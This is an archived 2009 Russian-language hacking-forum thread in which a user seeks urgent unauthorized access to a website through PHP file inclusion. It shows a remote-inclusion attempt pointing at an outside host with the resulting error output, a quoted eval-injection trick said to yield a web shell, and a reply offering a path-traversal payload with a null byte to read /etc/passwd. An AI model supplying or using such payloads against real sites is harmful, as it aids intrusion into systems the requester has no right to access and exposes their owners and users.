PDA

Просмотр полной версии : Можно ли сделать php inj?


ttt0z
24.01.2009, 06:55
Если пишу в адрессную строку:

http://www.site.ru/index.php?id=http://hack.ru/1

Выводит:

Warning: main(texts/http://hack.ru/1.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main(texts/http://hack.ru/1.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6

Warning: main() [function.include]: Failed opening 'texts/http://hack.ru/1.php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6

gisTy
24.01.2009, 07:00
и что? ремоут-инклуда тут нет, возможен локальный инклуд, но полностью не уверен

ttt0z
24.01.2009, 07:15
нужно сделать удаленную инъекцию. может все таки есть какой-то вариант?

может это поможет:
eval

Еще одна «злая» функция – eval. В PHP она интерпретирует переданную ей строку как PHP-код. Без этой функции можно вполне обойтись практически в любом PHP-приложении. Очень часто ее применяют для удобной смены templat'ов - тем какого-нибудь движка. Хотя сделать то же самое можно и без eval. С помощью вот такой строки был взломан один хацкерский ресурс, имя которого называть я не буду:

eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")

Передавая в GET'е параметр id в виде id={${php_code}}, я получили веб-шелл. Что означает ${php_code}}, читай ниже.

preg_replace - зачем там /e?

Функция preg_replace заменяет подстроку (первый параметр), заданную регулярным выражением, на строку (второй параметр), которая также может быть задана регулярным выражением в данной строке (третий параметр). Также существует необязательный 4-ый параметр, но он нас не интересует.

gisTy
24.01.2009, 07:22
а при чем тут евал?

ttt0z
24.01.2009, 07:24
я сказал может поможет. это из статьи

ttt0z
24.01.2009, 07:25
как выйти из директории texts? что бы сработал http:// ?
может что то типа /../texts...
?

gisTy
24.01.2009, 07:31
попробуй так напримерhttp://www.site.ru/index.php?id=../../../../../../etc/passwd%00ну и вместо /etc/passwd путь до файла, который ты хочешь рочесть, правда не всегда получится...

ttt0z
24.01.2009, 07:35
Failed opening 'texts/../../../../../
не выходит из папки видимо..
может поменять значение переменной, которая отвечает за это? только как это можно сделать?

gisTy
24.01.2009, 07:45
какой толк подставлять что-то куда-то, если не знаешь как это работает? почитал бы статьи, почитал бы маны по PHP.. не задавал бы таких вопросов..

ttt0z
24.01.2009, 07:47
толк в доступе к сайту.
читать все и разбирать нет сейчас времени.
нужен доступ срочно. по этому и прошу помощи в том в чем плохо разбираюсь пока что.

ttt0z
24.01.2009, 13:46
помогите?

xcedz
24.01.2009, 13:48
вопрос, почему сюда запостил а не в специальную тему?

ttt0z
24.01.2009, 13:49
потому что срочно надо

xcedz
24.01.2009, 13:51
потому что срочно надо
в болталке тебе точно срочно нагадят. жди.

В спец теме в достаточно реальные сроки отвечают.

nerezus
24.01.2009, 13:52
Нам срочно не надо о_О